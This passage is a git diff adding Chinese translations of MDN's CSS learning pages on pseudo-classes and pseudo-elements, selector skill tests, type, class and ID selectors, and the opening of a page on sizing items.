id="生成带有before和after的内容">生成带有::before和::after的内容</h2> + +<p>有一组特别的伪元素,它们和<code><a href="/en-US/docs/Web/CSS/content">content</a></code>属性一同使用,使用CSS将内容插入到你的文档中中。</p> + +<p>你能用这些插入一个文本字符串,和在下面的实时示例里那样。试着改变{{cssxref("content")}}属性的文本值,看看输出是怎么改变的。你也能改变<code>::before</code>伪元素为<code>::after</code>,看到这段文本插入到了元素的末尾而不是开头。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/before.html", '100%', 400)}}</p> + +<p>从CSS插入文本字符串,我们并不会在Web浏览器上经常这么做,因为对于一些屏幕阅读器来说,文本是不可见的,而且对于未来别人的查找和编辑也不是很方便。</p> + +<p>这些伪元素的更推荐的用法是插入一个图标,例如下面的示例加入的一个小箭头,作为一个视觉性的提示,而且我们并不希望屏幕阅读器读出它。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/after-icon.html", '100%', 400)}}</p> + +<p>这些伪元素经常用于插入空字符串,其后可以像页面上的其他元素被样式化。</p> + +<p>下个示例,我们已经用 <code>::before</code>伪元素加入了个空字符串。我们把它设为了<code>display: block</code>,以让它可以用width和height进行样式化。然后我们可以用CSS像任何元素那样样式化。你可以摆弄CSS,改变它的外观和行为。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/before-styled.html", '100%', 500)}}</p> + +<p><code>::before</code>和<code>::after</code>伪元素与<code>content</code>属性的共同使用,在CSS中被叫做“生成内容”,而且你会见到这种技术被用于完成各种任务。<a href="http://www.cssarrowplease.com/">CSS Arrow Please</a>网站就是一个著名的示例,它帮你用CSS生成一个箭头。在你创建你的箭头的时候看下CSS,你将会看到实际使用的{{cssxref("::before")}}和{{cssxref("::after")}}伪元素。无论什么时候你看到了这些选择器,都要看下{{cssxref("content")}}属性,以了解文档中添加了什么。</p> + +<h2 id="参考节">参考节</h2> + +<p>有很多伪类和伪元素,所以有一个用于参考的列表会有用。下面是列出它们的表格,链接到了MDN上它们的参考页。把这作为参考,看看你能选中什么。</p> + +<h3 id="伪类">伪类</h3> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">选择器</th> + <th scope="col">描述</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{ Cssxref(":active") }}</td> + <td>在用户激活(例如点击)元素的时候匹配。</td> + </tr> + <tr> + <td>{{ Cssxref(":any-link") }}</td> + <td>匹配一个链接的<code>:link</code>和<code>:visited</code>状态。</td> + </tr> + <tr> + <td>{{ Cssxref(":blank") }}</td> + <td>匹配空输入值的<a href="/en-US/docs/Web/HTML/Element/input"><code><input></code>元素</a>。</td> + </tr> + <tr> + <td>{{ Cssxref(":checked") }}</td> + <td>匹配处于选中状态的单选或者复选框。</td> + </tr> + <tr> + <td>{{ Cssxref(":current") }}</td> + <td>匹配正在展示的元素,或者其上级元素。</td> + </tr> + <tr> + <td>{{ Cssxref(":default") }}</td> + <td>匹配一组相似的元素中默认的一个或者更多的UI元素。</td> + </tr> + <tr> + <td>{{ Cssxref(":dir") }}</td> + <td>基于其方向性(HTML<code><a href="/en-US/docs/Web/HTML/Global_attributes/dir">dir</a></code>属性或者CSS<code><a href="/en-US/docs/Web/CSS/direction">direction</a></code>属性的值)匹配一个元素。</td> + </tr> + <tr> + <td>{{ Cssxref(":disabled") }}</td> + <td>匹配处于关闭状态的用户界面元素</td> + </tr> + <tr> + <td>{{ Cssxref(":empty") }}</td> + <td>匹配除了可能存在的空格外,没有子元素的元素。</td> + </tr> + <tr> + <td>{{ Cssxref(":enabled") }}</td> + <td>匹配处于开启状态的用户界面元素。</td> + </tr> + <tr> + <td>{{ Cssxref(":first") }}</td> + <td>匹配<a href="/en-US/docs/Web/CSS/Paged_Media">分页媒体</a>的第一页。</td> + </tr> + <tr> + <td>{{ Cssxref(":first-child") }}</td> + <td>匹配兄弟元素中的第一个元素。</td> + </tr> + <tr> + <td>{{ Cssxref(":first-of-type") }}</td> + <td>匹配兄弟元素中第一个某种类型的元素。</td> + </tr> + <tr> + <td>{{ Cssxref(":focus") }}</td> + <td>当一个元素有焦点的时候匹配。</td> + </tr> + <tr> + <td>{{ Cssxref(":focus-visible")}}</td> + <td>当元素有焦点,且焦点对用户可见的时候匹配。</td> + </tr> + <tr> + <td>{{ Cssxref(":focus-within") }}</td> + <td>匹配有焦点的元素,以及子代元素有焦点的元素。</td> + </tr> + <tr> + <td>{{ Cssxref(":future") }}</td> + <td>匹配当前元素之后的元素。</td> + </tr> + <tr> + <td>{{ Cssxref(":hover") }}</td> + <td>当用户悬浮到一个元素之上的时候匹配。</td> + </tr> + <tr> + <td>{{ Cssxref(":indeterminate") }}</td> + <td>匹配未定态值的UI元素,通常为<a href="/en-US/docs/Web/HTML/Element/input/checkbox">复选框</a>。</td> + </tr> + <tr> + <td>{{ Cssxref(":in-range") }}</td> + <td>用一个区间匹配元素,当值处于区间之内时匹配。</td> + </tr> + <tr> + <td>{{ Cssxref(":invalid") }}</td> + <td>匹配诸如<code><input></code>的位于不可用状态的元素。</td> + </tr> + <tr> + <td>{{ Cssxref(":lang") }}</td> + <td>基于语言(HTML<a href="/zh-CN/docs/Web/HTML/Global_attributes/lang">lang</a>属性的值)匹配元素。</td> + </tr> + <tr> + <td>{{ Cssxref(":last-child") }}</td> + <td>匹配兄弟元素中最末的那个元素。</td> + </tr> + <tr> + <td>{{ Cssxref(":last-of-type") }}</td> + <td>匹配兄弟元素中最后一个某种类型的元素。</td> + </tr> + <tr> + <td>{{ Cssxref(":left") }}</td> + <td>在<a href="/zh-CN/docs/Web/CSS/CSS_Pages">分页媒体</a>中,匹配左手边的页。</td> + </tr> + <tr> + <td>{{ Cssxref(":link")}}</td> + <td>匹配未曾访问的链接。</td> + </tr> + <tr> + <td>{{ Cssxref(":local-link")}}</td> + <td>匹配指向和当前文档同一网站页面的链接。</td> + </tr> + <tr> + <td>{{ Cssxref(":is", ":is()")}}</td> + <td>匹配传入的选择器列表中的任何选择器。</td> + </tr> + <tr> + <td>{{ Cssxref(":not") }}</td> + <td>匹配作为值传入自身的选择器未匹配的物件。</td> + </tr> + <tr> + <td>{{ Cssxref(":nth-child") }}</td> + <td>匹配一列兄弟元素中的元素——兄弟元素按照<var>an+b</var>形式的式子进行匹配(比如2n+1匹配元素1、3、5、7等。即所有的奇数个)。</td> + </tr> + <tr> + <td>{{ Cssxref(":nth-of-type") }}</td> + <td>匹配某种类型的一列兄弟元素(比如,<code><p></code>元素)——兄弟元素按照<var>an+b</var>形式的式子进行匹配(比如2n+1匹配元素1、3、5、7等。即所有的奇数个)。</td> + </tr> + <tr> + <td>{{ Cssxref(":nth-last-child") }}</td> + <td>匹配一列兄弟元素,从后往前倒数。兄弟元素按照<var>an+b</var>形式的式子进行匹配(比如2n+1匹配按照顺序来的最后一个元素,然后往前两个,再往前两个,诸如此类。从后往前数的所有奇数个)。</td> + </tr> + <tr> + <td>{{ Cssxref(":nth-last-of-type") }}</td> + <td>匹配某种类型的一列兄弟元素(比如,<code><p></code>元素),从后往前倒数。兄弟元素按照<var>an+b</var>形式的式子进行匹配(比如2n+1匹配按照顺序来的最后一个元素,然后往前两个,再往前两个,诸如此类。从后往前数的所有奇数个)。</td> + </tr> + <tr> + <td>{{ Cssxref(":only-child") }}</td> + <td>匹配没有兄弟元素的元素。</td> + </tr> + <tr> + <td>{{ Cssxref(":only-of-type") }}</td> + <td>匹配兄弟元素中某类型仅有的元素。</td> + </tr> + <tr> + <td>{{ Cssxref(":optional") }}</td> + <td>匹配不是必填的form元素。</td> + </tr> + <tr> + <td>{{ Cssxref(":out-of-range") }}</td> + <td>按区间匹配元素,当值不在区间内的的时候匹配。</td> + </tr> + <tr> + <td>{{ Cssxref(":past") }}</td> + <td>匹配当前元素之前的元素。</td> + </tr> + <tr> + <td>{{ Cssxref(":placeholder-shown") }}</td> + <td>匹配显示占位文字的input元素。</td> + </tr> + <tr> + <td>{{ Cssxref(":playing") }}</td> + <td>匹配代表音频、视频或者相似的能“播放”或者“暂停”的资源的,且正在“播放”的元素。</td> + </tr> + <tr> + <td>{{ Cssxref(":paused") }}</td> + <td>匹配代表音频、视频或者相似的能“播放”或者“暂停”的资源的,且正在“暂停”的元素。</td> + </tr> + <tr> + <td>{{ Cssxref(":read-only") }}</td> + <td>匹配用户不可更改的元素。</td> + </tr> + <tr> + <td>{{ Cssxref(":read-write") }}</td> + <td>匹配用户可更改的元素。</td> + </tr> + <tr> + <td>{{ Cssxref(":required") }}</td> + <td>匹配必填的form元素。</td> + </tr> + <tr> + <td>{{ Cssxref(":right") }}</td> + <td>在<a href="/zh-CN/docs/Web/CSS/CSS_Pages">分页媒体</a>中,匹配右手边的页。</td> + </tr> + <tr> + <td>{{ Cssxref(":root") }}</td> + <td>匹配文档的根元素。</td> + </tr> + <tr> + <td>{{ Cssxref(":scope") }}</td> + <td>匹配任何为参考点元素的的元素。</td> + </tr> + <tr> + <td>{{ Cssxref(":valid") }}</td> + <td>匹配诸如<code><input></code>元素的处于可用状态的元素。</td> + </tr> + <tr> + <td>{{ Cssxref(":target") }}</td> + <td>匹配当前URL目标的元素(例如如果它有一个匹配当前<a href="https://en.wikipedia.org/wiki/Fragment_identifier">URL分段</a>的元素)。</td> + </tr> + <tr> + <td>{{ Cssxref(":visited") }}</td> + <td>匹配已访问链接。</td> + </tr> + </tbody> +</table> + +<h3 id="伪元素">伪元素</h3> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">选择器</th> + <th scope="col">描述</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{ Cssxref("::after") }}</td> + <td>匹配出现在原有元素的实际内容之后的一个可样式化元素。</td> + </tr> + <tr> + <td>{{ Cssxref("::before") }}</td> + <td>匹配出现在原有元素的实际内容之前的一个可样式化元素。</td> + </tr> + <tr> + <td>{{ Cssxref("::first-letter") }}</td> + <td>匹配元素的第一个字母。</td> + </tr> + <tr> + <td>{{ Cssxref("::first-line") }}</td> + <td>匹配包含此伪元素的元素的第一行。</td> + </tr> + <tr> + <td>{{ Cssxref("::grammar-error") }}</td> + <td>匹配文档中包含了浏览器标记的语法错误的那部分。</td> + </tr> + <tr> + <td>{{ Cssxref("::selection") }}</td> + <td>匹配文档中被选择的那部分。</td> + </tr> + <tr> + <td>{{ Cssxref("::spelling-error") }}</td> + <td>匹配文档中包含了浏览器标记的拼写错误的那部分。</td> + </tr> + </tbody> +</table> + +<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="模块目录">模块目录</h2> + +<ol> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">层叠与继承</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Selectors">CSS选择器</a> + <ul> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">标签、类和ID选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">伪类和伪元素</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Combinators">关系选择器</a></li> + </ul> + </li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/The_box_model">盒模型</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景与边框</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/%E5%A4%84%E7%90%86_%E4%B8%8D%E5%90%8C_%E6%96%B9%E5%90%91%E7%9A%84_%E6%96%87%E6%9C%AC">处理不同文字方向的文本</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Overflowing_content">溢出的内容</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Values_and_units">值和单位</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">在CSS中调整大小</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Images_media_form_elements">图像、媒体和表单元素</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Styling_tables">样式化表格</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Debugging_CSS">调试CSS</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Organizing">组织CSS</a><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing"> </a></li> +</ol> diff --git a/files/zh-cn/learn/css/building_blocks/selectors/selectors_tasks/index.html b/files/zh-cn/learn/css/building_blocks/selectors/selectors_tasks/index.html new file mode 100644 index 0000000000..17f2ecf366 --- /dev/null +++ b/files/zh-cn/learn/css/building_blocks/selectors/selectors_tasks/index.html @@ -0,0 +1,132 @@ +--- +title: 'Test your skills: Selectors' +slug: Learn/CSS/Building_blocks/Selectors/Selectors_Tasks +translation_of: Learn/CSS/Building_blocks/Selectors/Selectors_Tasks +--- +<div>{{LearnSidebar}}</div> + +<p>这个任务的目的是帮助你理解CSS里的选择器。</p> + +<div class="blockIndicator note"> +<p><strong>Note</strong>:你可以 在下面那些交换编辑器中尝试解决问题,然而 把代码下载然后使用一个在线工具比如 <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, or <a href="https://glitch.com/">Glitch</a> 去解决这些问题可能对你更有作用。</p> + +<p>如果你卡住了,可以向我们寻求帮助 — 请参阅本页底部的{{anch("Assessment or further help")}} 部分。</p> +</div> + +<h2 id="选择器一">选择器一</h2> + +<p>在没有改变HTML的情况下,使用CSS去完成下面的要求::</p> + +<ul> + <li>使一级标题的字体颜色为蓝色</li> + <li>使二级标题有一个蓝色背景且白色文本。</li> + <li>使跨距中换行的文本的字体大小为200%。</li> +</ul> + +<p><img alt="Text with the CSS applied for the solution to task 1." src="https://mdn.mozillademos.org/files/17118/selectors1.jpg" style="height: 781px; width: 1026px;"></p> + +<p>Try updating the live code below to recreate the finished example:</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/tasks/selectors/type.html", '100%', 700)}}</p> + +<div class="blockIndicator note"> +<p>For assessment or further work purposes, <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/selectors/type-download.html">download the starting point for this task</a> to work in your own editor or in an online editor.</p> +</div> + +<h2 id="选择器二">选择器二</h2> + +<p>在没有改变HTML的情况下,对本例中内容的外观进行以下更改:</p> + +<ul> + <li>让id为 <code>special</code> 的元素有一个黄色背景。</li> + <li>让使用类 <code>alert</code> 的元素有一个 1px 的灰色边框。</li> + <li>如果一个元素使用了 <code>alert</code> 类还有 <code>stop</code>类, 让它的背景变为红色。</li> + <li>如果一个元素使用 <code>alert</code> 类还有 <code>go</code>类,让它的背景变为绿色。</li> +</ul> + +<p><img alt="Text with the CSS applied for the solution to task 2." src="https://mdn.mozillademos.org/files/17119/selectors2.jpg" style="height: 891px; width: 1027px;"></p> + +<p>Try updating the live code below to recreate the finished example:</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/tasks/selectors/class-id.html", '100%', 800)}}</p> + +<div class="blockIndicator note"> +<p>For assessment or further work purposes, <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/selectors/class-id-download.html">download the starting point for this task</a> to work in your own editor or in an online editor.</p> +</div> + +<h2 id="选择器三">选择器三</h2> + +<p>在本例中,尝试在不添加HTML的情况下进行以下更改。</p> + +<ul> + <li>链接文本的样式:使链接为橘色,被访问后变为绿色,当被hover时,移除链接文本的下划线。</li> + <li>让容器里的第一个元素的字体大小为:150%,并且让这个元素的第一行是红色的。</li> + <li>让表格中每隔一行条带化,分别给它们一个颜色为#333的背景和一个白色前景。</li> +</ul> + +<p><img alt="Text with the CSS applied for the solution to task 3." src="https://mdn.mozillademos.org/files/17120/selectors3.jpg" style="height: 926px; width: 1227px;"></p> + +<p>Try updating the live code below to recreate the finished example:</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/tasks/selectors/pseudo.html", '100%', 800)}}</p> + +<div class="blockIndicator note"> +<p>For assessment or further work purposes, <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/selectors/pseudo-download.html">download the starting point for this task</a> to work in your own editor or in an online editor.</p> +</div> + +<h2 id="选择器四">选择器四</h2> + +<p>在这个任务中尝试下面这个任务:</p> + +<ul> + <li>让任何直接跟随二级标题的段落颜色为红色。</li> + <li>移除使用了list类的无效列表的儿子元素前面的原点并给他们添加一个1px的灰色下边框。</li> +</ul> + +<p><img alt="Text with the CSS applied for the solution to task 4." src="https://mdn.mozillademos.org/files/17121/selectors4.jpg" style="height: 788px; width: 1222px;"></p> + +<p>Try updating the live code below to recreate the finished example:</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/tasks/selectors/combinators.html", '100%', 800)}}</p> + +<div class="blockIndicator note"> +<p>For assessment or further work purposes, <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/selectors/combinators-download.html">download the starting point for this task</a> to work in your own editor or in an online editor.</p> +</div> + +<h2 id="选择器五">选择器五</h2> + +<p>在最后一个任务中,使用属性选择器添加CSS以执行以下操作:</p> + +<ul> + <li>Target the <code><a></code> element with a <code>title</code> attribute and make the border pink (<code>border-color: pink</code>).</li> + <li>Target the <code><a></code> element with an <code>href</code> attribute that contains the word <code>contact</code> somewhere in its value and make the border orange (<code>border-color: orange</code>).</li> + <li>Target the <code><a></code> element with an <code>href</code> value starting with <code>https</code> and give it a green border (<code>border-color: green</code>).</li> +</ul> + +<p><img alt="Four links with different color borders." src="https://mdn.mozillademos.org/files/17147/selectors-attribute.png" style="height: 485px; width: 1264px;"></p> + +<p>Try updating the live code below to recreate the finished example:</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/tasks/selectors/attribute-links.html", '100%', 800)}}</p> + +<div class="blockIndicator note"> +<p>For assessment or further work purposes, <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/selectors/attribute-links-download.html">download the starting point for this task</a> to work in your own editor or in an online editor.</p> +</div> + +<h2 id="Assessment_or_further_help">Assessment or further help</h2> + +<p>You can practice these examples in the Interactive Editors mentioned above.</p> + +<p>If you would like your work assessed, or are stuck and want to ask for help:</p> + +<ol> + <li>Put your work into an online shareable editor such as <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, or <a href="https://glitch.com/">Glitch</a>. You can write the code yourself, or use the starting point files linked to in the above sections.</li> + <li>Write a post asking for assessment and/or help at the <a class="external external-icon" href="https://discourse.mozilla.org/c/mdn/learn" rel="noopener">MDN Discourse forum Learning category</a>. Your post should include: + <ul> + <li>A descriptive title such as "Assessment wanted for Selectors skill test 1".</li> + <li>Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment.</li> + <li>A link to the example you want to be assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into — it's very hard to help someone with a coding problem if you can't see their code.</li> + <li>A link to the actual task or assessment page, so we can find the question you want help with.</li> + </ul> + </li> +</ol> diff --git a/files/zh-cn/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html b/files/zh-cn/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html new file mode 100644 index 0000000000..82253a8997 --- /dev/null +++ b/files/zh-cn/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html @@ -0,0 +1,117 @@ +--- +title: 类型、类和ID选择器 +slug: Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors +translation_of: Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors +--- +<p>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks")}}</p> + +<p>本节课中,我们看下可用的最简单的选择器,在你的工作中,它们很有可能会是最常用到的。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">学习前提:</th> + <td>基本电脑知识,<a href="https://developer.mozilla.org/zh-CN/Learn/Getting_started_with_the_web/Installing_basic_software">安装了基础的软件</a>,<a href="https://developer.mozilla.org/zh-CN/Learn/Getting_started_with_the_web/Dealing_with_files">处理文件</a>的基础知识,HTML基础(学习<a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML">HTML介绍</a>),以及对CSS工作原理的理解(学习<a href="/zh-CN/docs/Learn/CSS/First_steps">CSS初步</a>)</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>学习不同的CSS选择器,通过它们将CSS应用到文档中。</td> + </tr> + </tbody> +</table> + +<h2 id="类型选择器">类型选择器</h2> + +<p><strong>类型选择器</strong>有时也叫做“标签名选择器<em>”</em>或者是”元素选择器“,因为它在文档中选择了一个HTML标签/元素的缘故。在下面的示例中,我们已经用了span、em和strong选择器,<code><span></code>、<code><em></code>和<code><strong></code>元素的所有实例这样就都被样式化了。</p> + +<p><strong>试着加上一条CSS规则,选择<code><h1></code>元素,把它的颜色变为蓝色。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/type.html", '100%', 1100)}}</p> + +<h2 id="全局选择器">全局选择器</h2> + +<p>全局选择器,是由一个星号(<code>*</code>)代指的,它选中了文档中的所有内容(或者是父元素中的所有内容,比如,它紧随在其他元素以及邻代运算符之后的时候)。下面的示例中,我们已经用全局选择器,移去了所有元素上的外边距。这就是说,和浏览器以外边距隔开标题和段的方式默认加上的样式不同的是,每个物件都紧紧地挨在一起,我们不能那么容易就看清楚不同的段。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/universal.html", '100%', 750)}}</p> + +<p>这种行为有时能在“重置样式表”中看到,其中所有浏览器所做的样式化都会被忽略。这些一度很受欢迎,但是把所有的样式化忽略掉的话,通常就是指,你必须做把这些样式带回来的工作!因此我们应小心使用全局选择器,以处理诸如下面所述之类的很特殊的情况。</p> + +<h3 id="使用全局选择器,让选择器更易读">使用全局选择器,让选择器更易读</h3> + +<p>全局选择器的一种用法是让选择器更易读,更明显地表明它们的作用。例如,如果我想选中任何<code><article></code>元素的第一子元素,不论它是什么元素,都给它加粗,我可以将{{cssxref(":first-child")}}选择器(我们将会在<a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">伪类和伪元素</a>课中进一步了解)用作<code><article></code>元素选择器的一个兄弟选择器:</p> + +<pre class="brush: css notranslate">article :first-child { + +}</pre> + +<p>但是这会和<code>article:first-child</code>混淆,而后者选择了作为其他元素的第一子元素的<code><article></code>元素。</p> + +<p>为了避免这种混淆,我们可以向<code>:first-child</code>选择器加入全局选择器,这样选择器所做的事情很容易就能看懂。选择器正选中<code><article></code>元素的<em>任何</em>第一子元素:</p> + +<pre class="brush: css notranslate">article *:first-child { + +} </pre> + +<h2 id="类选择器">类选择器</h2> + +<p>类选择器以一个句点(<code>.</code>)开头,会选择文档中应用了这个类的所有物件。在下面的实时示例中,我们已经建立了一个名为<code>.highlight</code>的类,把它应用到了我的文档中的几个地方。所有包含此类的元素都被高亮了。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/class.html", '100%', 750)}}</p> + +<h3 id="指向特定元素的类">指向特定元素的类</h3> + +<p>你能建立一个指向应用一个类的特定元素。在下一个示例里面,我们将会用不同方式高亮一个带有<code>highlight</code>类的<code><span></code>和带有 <code>highlight</code>类的<code><h1></code>标题。我们通过使用附加了类的欲选元素的选择器做到这点,其间没有空格。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/class-type.html", '100%', 750)}}</p> + +<p>这种方式使CSS没那么可复用,因为类现在只会应用到那个特定元素,在认为规则也该应用到其他元素的时候,你会需要另外加上一个选择器。</p> + +<h3 id="多个类被应用的时候指向一个元素">多个类被应用的时候指向一个元素</h3> + +<p>你能对一个元素应用多个类,然后分别指向它们,或者仅仅在选择器中存在所有这些类的时候选择这一元素。在你的站点上,构建可以以不同方式组合起来的组件的时候,这会有用。</p> + +<p>在下面的示例中,有一个包含了一条笔记的<code><div></code>。灰色的边框在盒子带有<code>notebox</code>类的时候应用。如果它还有一个<code>warning</code>或是<code>danger</code>类,我们改变{{cssxref("border-color")}}。</p> + +<p>为了告诉浏览器我们只想匹配带有所有这些类的元素,我们可以将这些类不加空格地连成一串。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/class-many.html", '100%', 900)}}</p> + +<h2 id="ID选择器">ID选择器</h2> + +<p>ID选择器开头为<code>#</code>而非句点,不过基本上和类选择器是同种用法。可是在一篇文档中,一个ID只会用到一次。它能选中设定了<code>id</code>的元素,你能把ID放在类型选择器之前,只指向元素和ID都匹配的类。在下面的示例里,你可以看看这两种用法。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/selectors/id.html", '100%', 750)}}</p> + +<div class="blockIndicator note"> +<p><strong>备注:</strong>正如我们在和特定性相关的课里面学到的那样,ID所指特定,会优先于大多数其他选择器。所以很难处理它们。大多数情况下,给一个元素加个类,而不是使用ID,会更好。不过要是ID是唯一一种指定这个元素的方式的话——也许是因为你没法访问标记标记因此不能编辑——这种方式可行。</p> +</div> + +<h2 id="下一篇">下一篇</h2> + +<p>来看<a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性选择器</a>,继续探索选择器。</p> + +<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="模块目录">模块目录</h2> + +<ol> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">层叠与继承</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Selectors">CSS选择器</a> + <ul> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">标签、类和ID选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">伪类和伪元素</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Combinators">关系选择器</a></li> + </ul> + </li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/The_box_model">盒模型</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景与边框</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/%E5%A4%84%E7%90%86_%E4%B8%8D%E5%90%8C_%E6%96%B9%E5%90%91%E7%9A%84_%E6%96%87%E6%9C%AC">处理不同文字方向的文本</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Overflowing_content">溢出的内容</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Values_and_units">值和单位</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">在CSS中调整大小</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Images_media_form_elements">图像、媒体和表单元素</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Styling_tables">样式化表格</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Debugging_CSS">调试CSS</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks/Organizing">组织CSS</a><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing"> </a></li> +</ol> diff --git a/files/zh-cn/learn/css/building_blocks/sizing_items_in_css/index.html b/files/zh-cn/learn/css/building_blocks/sizing_items_in_css/index.html new file mode 100644 index 0000000000..870ef031ff --- /dev/null +++ b/files/zh-cn/learn/css/building_blocks/sizing_items_in_css/index.html @@ -0,0 +1,129 @@ +--- +title: 在CSS中调整大小 +slug: Learn/CSS/Building_blocks/Sizing_items_in_CSS +translation_of: Learn/CSS/Building_blocks/Sizing_items_in_CSS +--- +<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks/Images_media_form_elements", "Learn/CSS/Building_blocks")}}</div> + +<p>在前面的课程中你已经看到了几种使用CSS为页面中元素设定尺寸的方法。 在我们设计网页的时候,需要理解这些不同方法之间的差异。在本课程中,我们将总结设定元素尺寸的方法,并定义几个术语,这些内容将会在未来对你有所帮助。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>基本的电脑知识,<a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">安装了必要的软件</a>,<a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">处理文件</a>的基础知识 , HTML基础(学习<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>),理解CSS如何工作(学习<a href="/en-US/docs/Learn/CSS/First_steps">CSS first steps</a>)。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>理解在CSS中约束物体大小的不同方式。</td> + </tr> + </tbody> +</table> + +<h2 id="原始尺寸,或固有尺寸">原始尺寸,或固有尺寸</h2> + 